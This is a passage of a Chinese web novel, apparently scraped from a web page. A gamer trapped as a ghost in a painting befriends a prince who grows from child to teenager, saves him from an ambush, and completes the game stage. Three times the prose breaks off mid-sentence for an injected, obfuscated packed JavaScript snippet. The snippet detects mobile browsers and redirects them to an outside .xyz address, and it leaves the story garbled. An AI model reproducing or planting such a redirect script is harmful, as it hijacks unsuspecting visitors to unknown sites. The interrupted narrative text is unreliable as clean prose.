这怕也是那位贵妃不太待见的缘故,总让人觉得养不熟。 “那你说说,我长什么样?” 祝遥有些逗乐说。 他说这纯属是无聊没事干,再说吧貌似每次遇到这位剧情条都能涨点,根据游戏套路,或许需要点交流?(此处存疑) 祝遥边说边跳了几步,他略有些自娱自乐,自己可真是闲的没事干。 可还未曾说完,忽得一只细小的指轻轻触碰到的手心,他吓了一跳,手却被用力摁住,伴随着一句低低的,似是确认的清冽童声,“你真的死了吗?看来不是,据说鬼无形无质,可我却能看见、感受到你这个鬼的存在。” 祝遥呆了下,心里想的唯一一件事,他作弊!!! 明明谁都看不到自己。 明明谁都碰不到自己。 偏偏他是例外,他居然还能触碰到自己。 “呵呵,”祝遥急匆匆拉走宽大衣袖, “你很好看。” “比我见过的父皇的妃子都好看。” 孩子的声音略显突出,十分肯定的语气。 祝遥听完后,气的要死,听到建模的皮好看他很满意,可是和女人对比……这有什么好对比,这不就是明晃晃告诉他,现在这破皮相就是个娘炮,男生女相。 祝遥:“……” 倒也不是什么好消息。 不过,有人能触碰到自己,还是挺好的……祝遥忍不住试探着戳了下面前小孩的脸颊,好像是真的能碰到,软软的。 若是在以前,祝遥才不会这样,任谁没有人交流,被隐形看不见,仿若透明人感觉不到自己真实存在,总会有点焦灼。 可恶。 他被迫成为画里人,还不是这个小孩的缘故。 越想越气,一气之下,祝遥直接上手把人脸颊捏了又捏,过了把手瘾,然后跑路回画卷了,附赠了一句话。 “猫没死,在东苑小隔间里养着。” 呵。 他才不是心软了,只是看猫猫可怜。 留下的孩童低眸,并不出声,佛堂里恢复冷清,唯有点燃的香火幽幽游走,好似从未出现过这么一个他能触碰到的鬼。 他怎会不知道猫儿没死。 他太清楚了……母妃当年犹爱猫儿,可恰恰是曾同为嫔妃的幼年好友送来的那只猫儿,害得她失去了自己的第一个孩子,更怕是因此失去了孕育孩子的能力。 “小殿下,纯妃娘娘来了。” 殿外的宫婢轻轻扣门,在门外低低唤声。 随即紧闭的门开了,一束光从门外照进,遮去所有,有人迎着光走近,眉眼含情,姿态婀娜,手臂上的轻纱随风飘扬,语气却未免刻薄直白。 “起来。” “跪着给谁看呢?” 孩童依旧跪地,闭目。隔了几息,微弱的声音才缓缓响起,“是……在为母妃祈福。” 来者难得噎住。 贵妃是个脾气不是很好的人,她打小长大就被家里养的骄纵,进了宫里又因为兄长一直是帝王信赖的臣子,比其他妃子稍显得随意许多。 可帝心难测,打小天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540514|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂漫的性子,到了深宫中多少也变了些,有点难捉摸。 “我可不是你母妃。” “我知。” 跪地孩童这次倒少了些小心翼翼,只低语回应。 贵妃眉头稍皱,只见这孩子抬起头来,露出一张倔强的脸,看着就像养不熟的,可偏偏用那双会说话的眼睛怔怔看过来,难得露出几分依赖。 “可我只有娘娘了,只有娘娘愿意养我了。” 贵妃忽得转了身,隔了许久才道:“起来吧,今天也受了教训,下次要晓得不要碰外面的玩意。” 孩子低声回应:“知道了。” 贵妃出佛堂前,转头看了眼默默跟在身后的孩子,心里有些淡淡的想:也许母亲说的不错,他虽然不讨皇帝喜欢,但自己有个皇子在身边总比没有的好。 祝瑶再次醒来的时候,不知过去了多久,只是发觉【无名画卷】剧情进度突然跳到了95%,不免有些兴奋,随之而来的却是奇怪,又发生了什么。 此刻,画卷外的声音却越发的吵闹,倒不是怒火,而是伴随着嬉闹,喧嚣,似是很愉快的感觉。 是有什么节日吗? 祝瑶不由得缓缓探出了个身影,从悬挂的画卷里走了出来。 此刻竟然也是夜晚,宫里挂着各式灯火,显得格外热闹。 他从静悄悄无人的殿中走出时,还有些奇怪,很快就看到院中玩闹的人影,渐渐明悟,原来是乞巧节。 不过,他最震惊的莫过于看到那个贵妃居然和她不喜欢的皇子在一块,正在给他戴着一个可爱的猫耳帽。 女人就如此善变的吗? 祝瑶立于廊前,有些难言,不过那帽子戴着确实可爱。 月亮很大,光洒在院子里,伴随着欢笑声,一时间倒是很安乐的样子。 祝瑶少见的感受到了节目的气氛,只默默站在回廊,随意打量着周边,那花开的不错,那点心看起来挺好吃的,那小宫女长得还挺萌的。 忽得,指尖稍许拉扯感,他低头看了眼手指缠绕的红线,似是有点儿紧了,难不成自己长高了,长大了? 隔着这红线寻去,祝瑶望进了一双眼睛,一双执拗地眼睛。 即便隔得那么的远,那孩子的目光依旧灼热,直勾勾地往自己这里看。 不过人看着似是又长高了几分,气色好看了,有几分挺拔,脸庞上的肉也多些。 祝瑶倒有些莫名的欣慰。 知道这小孩能看到自己,祝瑶也懒得遮掩,干脆坐在回廊的座上,光明正大的欣赏宫女表演的小节目,只是那道目光从未偏离。 祝瑶被看烦了,回瞪了回去,骂了句:看什么看! 那孩子唇部微动。 祝瑶好似听到了一句很浅的低语,缠绕在耳边,“你好看。” 什么鬼。 祝瑶盯着拿着兔子灯的小孩,似是很寻常的脱离了玩闹的宫女,游走着游到了这回廊附近,声音透着几分小心,以及欢快。 “你……终于来了。” 6. 一周目 “什么叫我终于来了?” 祝瑶纳闷的问了句,他不是明明一直都在吗? 孩童微怔,手拿着兔子灯,隔了好一会儿才道:“已过了三月了。” “我有许久没见到你了。” “……” 原来过了三月吗?祝瑶细看了他一眼,倒看出了些不同,那双眼睛……很亮,只认真地看着自己。 “我想见你。” 莫名地耳边传来这句话。 祝瑶看他,这一次他敢确信他没听到这小孩开口,所以他听到的是对方的心声吗? 他忽得就沉沉叹了口气。 他已经尽量减少交流了,他不想离这个世界太近了,可游戏似乎总在加深这一点。 祝瑶低头,直面看向中指上的红线,从最早的腕间到如今的中指,细细的,鲜红无比,不容忽视。 是他前世做了孽不成? 被拉到这个游戏里,出也出不去,还要攻略游戏角色……有什么好玩的。 莫名的,祝瑶有点心虚,“唉,你想那么多做什么?也就三月……” “是102天。” 孩童重申了句。 祝瑶:“好好好。” 他近乎有些自暴自弃,刚想说些什么,孩童手执兔子灯的手,突然靠近自己手,一大一小触碰着,祝瑶再一次感受到了来自的肌肤的温热感。 “能陪我一会吗?” “这盏灯是我亲手做的……很好看的。” 祝瑶还未回话,耳边再次传来一句轻轻的呢喃,“他好冷啊,他这个鬼,是不是也会怕冷。” 祝瑶失笑,这小孩,真是人小鬼大,信了自己是鬼,还要找过来。 祝瑶没抽出紧紧靠在掌旁的小手,反倒是握了回去,好似他是那个提灯人。 夜风中传来一声笛声,竟有些思念意味了。 祝瑶看着远处,人群中簇拥的那位贵妃,竟是她吹起了笛子。 他说:“我是鬼呢?” 他回:“我知道。” 他说:“是鬼你还过来,不怕死啊。” 他回:“你不会害人。” 祝瑶嘘笑了声,“这也说不准吧。” 要是能触碰到人,干涉到世界,他保不定还要搞出几次神鬼之事,以平心中之愤。 到底是哪个神经病……把他拉到这里的。 “你会害人?那挺好的。” 祝瑶正拉着人往殿外的长廊走,听到这句不免踉跄,这叫什么好。 “那样就不会被欺负了。” “……我哪里被欺负过,除了,”祝瑶叹气,最后只道,“你可以不怕鬼,可,不可以想见鬼。” “为什么?” 孩童看着前方的影子,只有自己一人。 他偏头,向上看,身旁的这个人其他人都看不到,只有自己能看到。 “因为,鬼……终有一天是会消失的。” 孩童怔住。 包住手掌的触感消失了,叠在手臂的白色衣衫也消失了,不自觉的手放松,兔子灯掉了下去,身后离得远的宫女急匆匆赶了过来。 “殿下,没事吧。” 孩童静默许久,未曾应声。 宫女叫青烟,是贵妃近来拨给这位皇子的,她侍奉已有两月余,少许知道其品性,是个寡言多思的性子,也不爱其他人自作主张,便小声问:“殿下,这灯……” 孩童似乎这才回神,蹲了下去,捡起这有些破损的兔子灯。 忽得,他将灯细细看了看,最后只双手捧着灯,起身缓缓走了。 画里,祝瑶看着眼前屏风,所以画中鬼就是鬼啊,放风时间就这么点。 【剧情进度:98%】 祝瑶看着提醒,好消息吧,也许真的要结束了。 睡吧。 睡吧,也许下一次就结束了。 可是,再次醒来时,祝瑶竟是有些怔住,画卷外显然换了个地方,这里显然是间书房,笔墨书砚,一应俱全,布置的很有几分格调。 可最醒目的则是那墙上挂的弓箭。 祝瑶静静呆在画里,一时间也不知道该出来还是如何,可静待了少许,还是走了出来,反正别人也见不着,他从画中出来时,不禁回看了眼。 只见这画挂墙,倒是个清幽的文人画,书桌、屏风、古琴一应俱全。 唯独抚琴人缺了。 而那屏风上挂着件青玉长袍,影影绰绰有个身影藏于屏风另一边。 “你醒了。” 很明确的声音,如金似玉,倒有些几分峥鸣。 祝瑶回头,只见个少年,一袭紫袍,头戴玉冠,生得双利目,微微而视,毫无意外。 这少年已有几分出俏,煞是俊美,腰间佩玉,指间一枚玉扳指。 祝瑶望着指间缠绕的红线垂在地上蜿蜒着、似隐形的线般缠上那少年中指,细细揣摩几分亲昵和难辨的暧昧如影随形,如他的身形般即便立于远处,也能感受到那种注目,从未离去。 “你……” 祝瑶忽得说不出话来了,不过一场沉眠,算算这段时间他入画,前一眼的孩童,如今面前的少年,明明音容还恍若昨日,好像却已过了太久,他都不敢认了。 “你忘了吗?” “七年前,你同我见过一面。” 少年停驻于远处,眼神远远地凝视过来,不紧不慢地启声。 祝瑶摇摇头,“我见过你四次面,这是第五次面。” 少年呆了下,终是走近,“这幅画在我这里挂了七年了,你从未出现过,我以为你不会来了。” “我以为你消失了。” 少年沉声道。 祝瑶叹了口气,道:“也许吧,可就连我自己也不清楚……原来已过了七年。” “你真的是鬼吗?” 少年忽得问。 祝瑶往后飘了几步,去看那案桌旁的灯,当真精致好看,“不是鬼又是什么?是个无名画中鬼罢了。” “我见书中写过,天上一日,地下一年,兴许你是神仙而非鬼魂。” “……” “神仙有法术,你看我像有吗?” 祝瑶嘲了句。 说完,他坐在案桌前,倒是看起了那由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540515|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊开的书,竟是个话本故事。 他也不觉无聊,只看了下去,当身旁少年不存在。 烦啊。 所以说,为什么一眨眼小孩子就长大了,完全没想过的好嘛! 小孩他还能逗逗,都知事少年了,他只觉尴尬,很想逃离,可貌似溜走不太好。 祝瑶本来纯当话本看,那字勉强连猜带蒙,倒也看得懂,只是看了几段,貌似有点不对,【露出一截酥臂】,不由得吐了句。 “你在书房里看这个?” 虽说他小黄油都玩过,可谓见多识广,可在别人眼皮底下看别人的春宫本也太古怪。 少年走近,声音清冽,“教引嬷嬷给我的。” 祝瑶咳了声,“你年岁尚小,还是得……不,是不能涉及、沉湎其中。” 这话倒是真心实意。 很变态的好不好,年纪还这么小,咳咳,虽说古代好像就这样,可也影响发育的。 “哦。” “……” 一看就不在意,不管了,也不管他的事,反正他也提醒了。 祝瑶看着话本,还真的蛮有质量的,可谓香色味俱全,可也就两面能看。 看到最后一句时,没了。 他又翻不了,想着就悲愤啊,游戏制作者不做人啊!!! 祝瑶干脆整个人都趴到桌案上了,他真的好想回家啊,他想他那几个g的硬盘存货了,他爱他存的小黄油,他爱他存的18X漫画…… 忽得,身后一只手将他拉起,依旧略显瘦削的手臂,祝瑶呆了下,背后的温度紧靠着肩头,很紧密,那双掌上看得出伤痕和茧子的手将桌上翻过了一页。 “接着看。” 身后少年低声说。 祝瑶有些僵硬,因为肩头的温度,隐隐的倚靠,亲昵的依赖,仿佛寻求着一种亲近,其实……他实在不是个能和人很好打交道的人,他真社恐啊。 祝瑶只能强逼着自己看话本。 于是,时间缓缓流逝,伴随着少年恰到时刻的翻书,话本挺香艳的,就是情节有些诡。 “喂。” 祝瑶小声提醒道,“你还要靠到什么时候。”他有些悻悻,仿佛自己有错般。 好吧,他是觉得自己有点对不住。 只是一点点。 和人说可能会消失后,直接消失了七年,就算不是他本意,也有点渗人。 虽说他现在是个画中鬼本就古怪至极。 背后传来一声淡淡轻笑。 祝瑶干脆起身,挣开他,一瞬间飘到别处,“小鬼,不要仗着我好心,就……” 欺负社畜好不好。 他就个不想搞事,只想躺平的毛茸茸。 少年有些出神,道:“你还在,比以前在的时间多。” 祝瑶挥了挥衣袖,不在意道:“好像是,不管了,时间好像到了我回去了。” 说完他身形散去,未有任何痕迹。 少年见了,只转头看墙上的画,庭院碧影深深,小窗内的书房,屏风后隐隐的身影,画中鬼?画中仙?他的眼神有些深,下一次又是多少年? 7. 一周目 可祝瑶真没想过,他居然走不了,剧情进度依旧保持着99%,到底是缺了哪里呢?他反复琢磨曾玩过的游戏,最终还是将线索放在这唯一有牵扯的人。 画外,那少年依旧在读书,白日读夜里读,可谓十分刻苦。 祝瑶想,倒是难得。 明明是个皇子,倒比举子还勤奋,奇哉怪也! 怕是图谋不小。 这话自是他偷听到的,既然走不了,还没法沉睡,他只能再次发挥偷听大法,寻些乐趣。 “谁?” 不知多久,赫连辉放下书,望向周边,空无一人。 门外侍奉的青烟,看了眼其他人,轻轻扣了下门,获得准许后,才抬步,小心进了这书房,弯下腰。 她低声询问,很是谦卑,“殿下,怎么了?” “无事。” 半响,赫连辉才淡淡应了声。 不该想的。 他终于来了,来了又如何,来的也只是那片刻。 “母妃近日可好?可曾顺心些,还是……’” 赫连辉转而问道,随即缓缓起身,将书放回原处。 青烟侍奉于旁,眉目间多了些成熟风韵,稍显出岁月的痕迹。 她略显松快,细细道来:“娘娘说近年的年岁好,结的的果子都好吃,薛将军这次返京,带了不少北地的香梨,格外脆甜,正等着殿下去尝尝呢?” 赫连辉不咸不淡道:“将军既然没送来,便不必去尝了。” 青烟有些怔住,只听他不紧不慢地说,“母妃的心意我领了,只是……这回陛下召将军回京本就倚予重任,我为臣子,不可为些小事叨扰将军。” 这回她是听懂了,殿下是在避嫌。 近来因内阁大学士竺彬被查出结交朋党一事,二三皇子也被斥责,闭门思过,朝中人心浮动,风波不少。 赫连辉想了下,补充道:“明日你把桌案旁那几卷佛经带去,再过几日便是母妃生辰,小儿无以为敬,只得抄几卷暂作先头的贺礼。” “奴婢晓得了。” 青烟慢踱步至桌旁,取起那预备好的经文,召来个侍婢,托盘承托,这才随着一同缓缓退下。 离去前,只见他依旧在看墙上的画,那画自生辰宴被要来已有七年了吧。 赫连辉望向墙上挂着的画,直到此刻他都觉得好似一场幻梦。 那碧色纱窗里的一切,那屏风后的人影,那人白衣墨发,赤足而立忽就站在这房内,转身回望画。 “喂,别看了。” 耳边传来一句低语。 赫连辉近乎呆住,转头看去,念着的人忽得就驻足书架处,青色长袍,墨发垂腰,打量那摆着的玉瓶,不由得心下一跳。 “你没走?” 已有几天了,他居然还在。 那是不是意味着他依然留在地下,而非回了天上。 “我也没想过,谁知道呢?世间之事,不如意十有八九。” 祝瑶扬了扬衣摆,略有些叹气。 也许这游戏就爱不走寻常路吧,他还真以为结束了。 赫连辉应了声“哦”,只是看他,似怎么也没看够,看不够。 祝瑶飘了下,游到书架另一面,略有些避开他目光。 “都说了,别看了。” “你天天盯着那破画,盯的我在画里都不自在,只得出来了,别弄得我出来还接着盯,天天看鬼,小心变鬼。” 祝瑶有些怨念道。 他可没忘,这小鬼长大后貌似当了皇帝,是他的攻略对象……天知道,让个直男吐出这四个字有多绝望! “变成鬼未尝不可。” 赫连辉回了句,依旧很平静。 祝瑶:“……”果然,长大的小孩就不好玩了。 “不想做皇帝,想做鬼?我看你是吃饱了撑的没事干。” “我没想过当皇帝。” 赫连辉平静道。 祝瑶嗤了句,这话说的,真有点手拿金锄头,不当回事。 还不想……你当了皇帝后,可把‘我’这个同血缘的游戏角色害死了一次又一次,他要信他就是狗屎。 “你不信。” “没人相信,如蛰伏猛虎,蓄势待发,你宫里人私议你都用这句。” 祝瑶离得远了些,看向指尖红线,只觉得更深了些。 赫连辉微怔,补了句,“那不过是杨学士的一言之词。” “不管是真是假,木秀于林,风必摧之。” “小鬼,你要倒大霉了。” 祝瑶乐悠悠道,颇有些看戏姿态。 这话倒不是假的,许是剧情进度到达99%,他这个画中鬼停留的时间变长了,自然走的地方也远了。 他听了不少八卦,不少秘密。 “我知道,是要奉诏出宫、前往封地一事吗?” “咦,你竟是知道。” 祝瑶也有些好奇,这事儿他可是昨晚从皇帝寝宫那里听到的,只有皇帝同他最信任的内侍在。 他敢保证这是第一手消息,很多人都不清楚。 赫连辉不紧不慢道:“陛下召回薛将军,怕有令他固守京城之意,为防止我们里应外合,他定会将我外派封地,短时间都不会回京。” 祝瑶无言。 这话倒是同那太监私底下的揣测一模一样。 “你倒是个天生当皇帝的料。” “我说过了,我不想当皇帝,从来就不想。” 赫连辉语气坚定,不容置疑。 祝瑶摇头,回了画里,只留下一句话。 “小鬼,有些事情不是你不想,就能不想的。卧榻之侧,岂容他人鼾睡。你不当,他人当,他容得下你吗?” 赫连辉微怔住,收住了情绪。 是吗? 这些年他不争不抢,朝堂之事更是半分不沾,只读自己的书,学自己的画,足足把自己埋了起来。 他没想过争,他也不能争。 可依旧见他不顺眼的大有人在,只因两年前内阁讲习五经的杨济才,杨学士夸过他的一首习作诗,“如蛰伏猛虎,蓄势待发。”,招来不少私议。 他前往封地就真的能远离这些纷争吗? 不过两日,旨意果然下来了,他被立为靖王,封地在北地大名府。 殿内宫侍多被打的措手不及,不少以为薛将军回京,这位皇子怕是很有些倚靠了,谁知就要去封地了。 这一去怕是不知多少年,更甚者再也回不来。 青烟在整理将带去的随驾物品,她已经被点为王府属官,一同跟去北地。 “殿下,这画……是否……” 青烟见他这几日有些静默,只依旧时不时看那墙上挂的画。 有些莫名的“痴”。 赫连辉只是在想,他是生气了吗?明明还在,却也不出来了。 半响,赫连辉低语,“这画留在我身边也没什么好的,北地寒冷,不是长久呆之所地,倒不如送回母妃那里。” “喂,小鬼,你心也太狠了吧。” “既然如此,当初何必把我从贵妃那里要过来。” 祝瑶急忙喷了句。 这小鬼,他还急着做任务,把它丢下它做个毛。 赫连辉听到这声音,忽得一笑,转而亲自把画取了下来。 “想来母妃喜新念旧,还是送副新画为妙,这旧画还是带去封地,以解我相思之苦好。” “……” “什么,小鬼,你乱讲什么?” 祝瑶真气炸了,相思个鬼啊,这小鬼他才十六好吧。 赫连辉只当没听到,缓缓画卷起,收好。 青烟见他手执画卷,颇有些兴奋意味,格外少见。 说来也怪,这画明明就个文人的书房之景,没什么特别的,唯一值得称道的是,怕是署名是“苦瓜居士”。 这苦瓜居士堪称前朝最奇最怪的异人,他擅医擅画,自号“苦瓜”,颇为惊奇,他自嘲说自己是人间头一号苦瓜,不过一缕孤魂,流浪人世间。 “小鬼,你报复心真重。” 祝瑶翻了个白眼,坐在马车头顶,呸了一句。 直到出了京,到了前往封地的路上,那画卷依旧日夜放置在赫连辉手边,时不时被拿出来打量。 用他的话,以解相思之苦。 祝瑶受不了那种打量,干脆往他坐的马车上飘坐。 赫连辉有时候由着他,有时却偏偏选择骑马,并行瞧他。 祝瑶无力,他晕马车。 谁知道呆在画卷里,还能被震的晕眩,不知归处。 “有吗?” 赫连辉骑在马上,只稳步前行,回了句。 他生得俊美,目光如炬,此刻意气风发,如蛟龙出海,格外有威慑。 祝瑶仿佛已然看见那张曾见过的成熟面孔,桀骜不驯,微微而视,如猛虎般,专断独行。 “天底下第一厚脸皮。” “不要脸。” 祝瑶一路骂骂咧咧,直把涵养都丢光了。 谁要……被个小孩当成思春对象,明晃晃恋着,就算不是,那也是故意让他晓得。 赫连辉不反驳,只觉得颇有趣味,曾经他觉得他像仙人,如今倒觉得人味挺重,极好极好。 这一路顺快肆意,是十几年未曾有的。 “我只是说了句,你长得很好看,我很喜欢。” “你别装!你别以为我不懂!” 祝瑶偏头,不看他。 他又不是没看到他画的春宫图,简直可恶至极。 两人一路打闹,转眼一月有余,离封地越发近了。 前往封地有两波人马。 前一波由赫连辉的侍女青烟、随着指派的太监和少量亲卫先到封地王府收拾府邸,以侯王驾;后一波则是赫连辉这个靖王带着随卫、以及亲兵。 可谁也没想到,距离封地一日路程的驿站,突如其来的一场大火,彻底撕碎了这场难得的平静。 “小鬼,你中计了。” 祝瑶从画里飘出,望着这里里外外的烟,众人沉睡不醒的状况,只觉得这出谋划策人又狠又毒。 他都没听到任何密谋。 这是一场以死亡为代价,默不作声的明谋。 祝瑶甚至在想逃出去了,会不会外面等着也是刀戈。 他能逃出去吗? 能的吧,毕竟他可是未来的皇帝啊,可……万一也会变呢? 按照游戏开局的时间线,他是在过去,可谁能保证过去变了,回去未来时就不会变,没人能知道未曾发生的事情。 祝瑶拼命摇着床上陷入沉睡的人,他怕是中了药,怎么也摇不醒,可其他人也听不见,看不到他。 他唯一有联系的人,陷入了昏迷。 “赫连辉,醒醒,醒醒。” “你快醒醒!” 祝瑶眼见没用,飞快飘了出去,探查外面情况,只见火焰缭绕,把整座驿站烧的烟火缭绕,鲜血和死亡遍地,亲卫们多是被刀剑所伤,死的彻底,甚至可能是同伴所害,难怪没人上来。 祝瑶立在月下,看那驿站外一行默立的铁骑,仿佛正在等这火燃尽,燃的彻底,直至那火里的人只剩骨头。 他们确信人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540516|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的干净,才好回去交差。 祝瑶转头回了那房间,火焰烧的更快了,他去拉人,忽得发现自己竟是能把他拉起,直接愣住。 在此之前,他只是单方面被他能看见,触碰。 祝瑶立马看了看模板上动了的剧情条显示99.5%,突然显示两个技能【恶鬼化形已解锁】【月奔千里未解锁】。 他不由暗暗骂了句,自己可真就个剧情工具人。 要走剧情,他就能开挂了,这会都能鬼变实体了,还有凭什么他是恶鬼! 祝瑶很努力把人背了起来,看不出来还挺重的。 他边努力往外跑,边怒骂游戏,哪有安排恶鬼救人的,这不纯属搞笑嘛。 他已经有点感受到了火焰的热度,不过还好应该是他是恶鬼的缘故,这火貌似不算特别烧人。 背后传来咳嗽声,沉沉的呼吸声。 “出得去吗?” 那声音很冷静,很平静。 看来人是终于醒了,祝瑶无暇顾及,只气喘吁吁往外跑。 “先离开这火堆里吧,后面看你了,外面都被包围了。” “恭喜你,中奖了。亲卫死了一半,叛了一半。” 身后比传来止不住的咳嗽声,顺带几分笑意。 祝瑶是真觉得他有病了。 “你还笑,笑屁啊!都要死了还在笑,还不赶紧想想你怎么把叛了的亲卫逆反回来,不然还不是死。” 赫连辉摇了摇头,断断续续道:“劝不了,他们本就是安插进来的。” 祝瑶“艹”了句,骂道:“你这些狗屁兄弟这么恨你做什么。”。 “怕是他们没一个比得过我。” “……” 祝瑶服了,您可真行,懒得和他说了,往外跑。 驿站外,众人皆肃穆,只等着这火焰落幕,忽得一声马声尖鸣,众人只见那火焰里竟是走出了两个身影,竟是一个背着一个,两人都有些损伤,衣裳散乱。 可这突然出现的人,没人见过。 这着实诡异至极,一时间众人侧目,心思各异。 只应这多出的、出现的人竟是个美人,是个绝世美人。 他美姿仪,皎月貌,似鬼神,如仙士。 一时间,看的心神恍惚的人不少,更有可惜者不少,这世间难寻的人物竟是要跟着奔赴黄泉。 祝瑶勉强走出,已是力竭,彻底瘫坐在地上。 兵士已然围了起来。 赫连辉却笑了,笑的很亮堂,他也不看那目露决心、狰狞的兵卫,只忽得环了过去,将人抱的紧紧的。 他的声音很沙哑,很忧伤。 “你还未曾告诉过我,你的名字……告诉我吧,就当做临死前的愿想,总归是要死的,倒不如一起死,我说过的,一起做鬼也不错的。” 祝瑶气的说不出话来。 他才不是鬼!谁想和他一起做鬼啊! 忽得,赫连辉目光灼灼,竟是无比忐忑、轻轻靠近,在他脸颊处留下了一个吻,刀光剑影下,只得这一吻。 祝瑶来不及多想,眼见【月奔千里已解锁】,心神微动,只紧紧回抱住他。 上方的刀影挥了下来。 赫连辉心满意足,只等着这亡局,只想着不要死的太丑。 不然做鬼,也不得他待见。 月夜之下,刀下人影忽得消失的无影无踪,只得刀劈向地面激起的尘土,好似从未有过两人出现。 是鬼否? 众人惊滞,皆失声。 千里之外,祝瑶环抱着人,忽得放开了,只起身大笑。 “我就知道,死不了。” 游戏是狗,可不杀重点npc,必须点赞。 赫连辉倒有些痴,只抬头望他,“所以,你不是鬼,是仙人吗?” “不,是恶鬼。” 祝瑶颇乐道。 他只觉得今晚挺刺激的,他好像有点觉得游戏有意思了。 “哦,那你叫……什么名字?” “我叫……” 风声把一切都掩盖了,赫连辉正低头拿东西,只听到隐约的名,还在想是名瑶吗?阿瑶挺好听的,似是找到了,他抬头陷入凝滞,手中的发簪叮咚落地。 月夜无声,偌大天地只余他一人。 长久的沉默。 赫连辉缓缓起身,往远处的城门走,走吧,一直往前走,只要自己还活着,他想……他终有天会回来的,他一定能够等到的。 游戏大厅,祝瑶呆呆望着大屏幕,显示【无名画卷 100%】。 【恭喜玩家解锁隐藏cg:林中月下美人来】 祝瑶:??? 他看向大屏幕,月夜下那刀光剑影的一幕彻底留存。 等等,谁是美人? 祝瑶不敢看屏幕,燥的慌,他本已遗忘,此刻却记起了那个吻。 啊啊啊啊,为什么要让直男玩真人bl游戏。 【恭喜玩家解锁隐藏cg:红鸢照影 】 【恭喜玩家解锁攻略人物‘赫连辉’30%,收获缘分碎片x3 】 【恭喜玩家触发无名画卷后续,请问玩家是否观看后续?】 屏幕上背景只剩下那寂寥月色,那是前刻他处于游戏里的场景,仿佛即时即刻的录制,清晰的不能作假。 祝瑶能看见自己身影消失时,那初长成的少年微低头,嘴角含笑,神态安逸,似在从怀里掏着什么东西。 祝瑶驻足,望着最后的一行字,【是/否】两个选项。 要看吗? 此刻,他竟是有些迟疑,不知道,他该如此选择。 8. 一周目 祝瑶想了下,先把触发后续事件给关闭了,反而点开前面解锁提醒。 倒不急于一时。 他觉得还是……先把这个游戏界面盘盘吧。 角色图鉴里,依旧只有“赫连辉”的角色点亮了,点开来专属人物故事线板块,新增了一个可点击的模块。 玄色为底色的地图上,金线缠绕,华丽诡异、总有点缠绵意味。 第一个解锁的故事主线cg,正是刚刚提醒的隐藏cg :红鸢照影。 祝瑶还未曾点击查看,忽得一只白色的猫儿,跳了出来,直接跳到了他的肩部,这小猫儿显然有些长大了。 祝瑶被撞得有些不稳,颇为冷酷无情地伸出右手把肩膀上的猫儿捏了下来,白色猫儿乖巧地“喵”了几声,乖巧地望着自己。 那双浅蓝色瞳孔,增添了几分锐利。 祝瑶戳了下它。 白猫尾巴摇的有点欢,缠着他的指尖,摇啊摇。 祝瑶撸了几把,严肃告诫,“安静。” 这破游戏,搞个角色卡小模板,动物拟化,都搞得这么精致干嘛,猫猫真的很可爱啊。 祝瑶干脆盘坐在地上,游戏台也随之下降,想了下他点了点“红鸢照影”。 画卷徐徐展开。 伴随着一曲小调,有些忧伤的笛声。 祝瑶微怔,这小调他记得是那次乞巧节那位贵妃吹得,曲中多是思念意味。 最后一次,他同赫连辉前往封地的途中,他也曾听他吹过这曲子,他说这是少女念家、想念心上人的曲子。 祝瑶当时自是嘲笑了下,他自比少女的事。 画卷里有六张画,一张一张流动,水墨风格,如古人画卷长卷,张张红线缠绕两人,恰是他们的六次见面,而到最后则是一段长达十秒的动态实景。 祝瑶也没见过的场景。 那是离开封地的前一天,他懒散地躺在他书房的塌上,于窗台照进的熏熏日光中有些陷入沉睡。 赫连辉缓缓走近,忽得坐蹲在榻下,以一种仰视、恳求的眼神,注视着睡着的人。 祝瑶低下头。 艹,这游戏做的这么真干什么。 他听到了那个如金石般洌然的少年声,明明是很浅的,可如此的庄重,仿佛用尽了力气。 “既然此刻走不了,那就陪陪我吧。” 祝瑶吸了口气,只把目光往下看,右下角的角色卡,显示的小字【赫连辉 解锁度:30%】,他不禁伸出手抚摸了下爬到游戏台,用尾巴缠着他手腕的猫儿。 “小鬼,其实,你还挺好骗的。” “小鬼……游戏不能当真的,懂吗?不懂也没事。” 祝瑶摸了摸猫儿,看着游戏界面上动态停留的场景,那少年仰视着寻求着回复的模样,有些喃喃自语道:“我懂就行了,我懂……就好。” 白猫儿舔了舔他的指尖。 祝瑶低头笑了下,摸了摸猫,看了那屏幕上的剪影很久很久。 再一次重整旗鼓,回到游戏界面时,祝瑶已经很确定他想做下的选择。 【恭喜玩家触发无名画卷后续,请问玩家是否观看后续?】 【是】 【请问是否使用获得的缘分碎片X3进行合成,激发此段后续?】 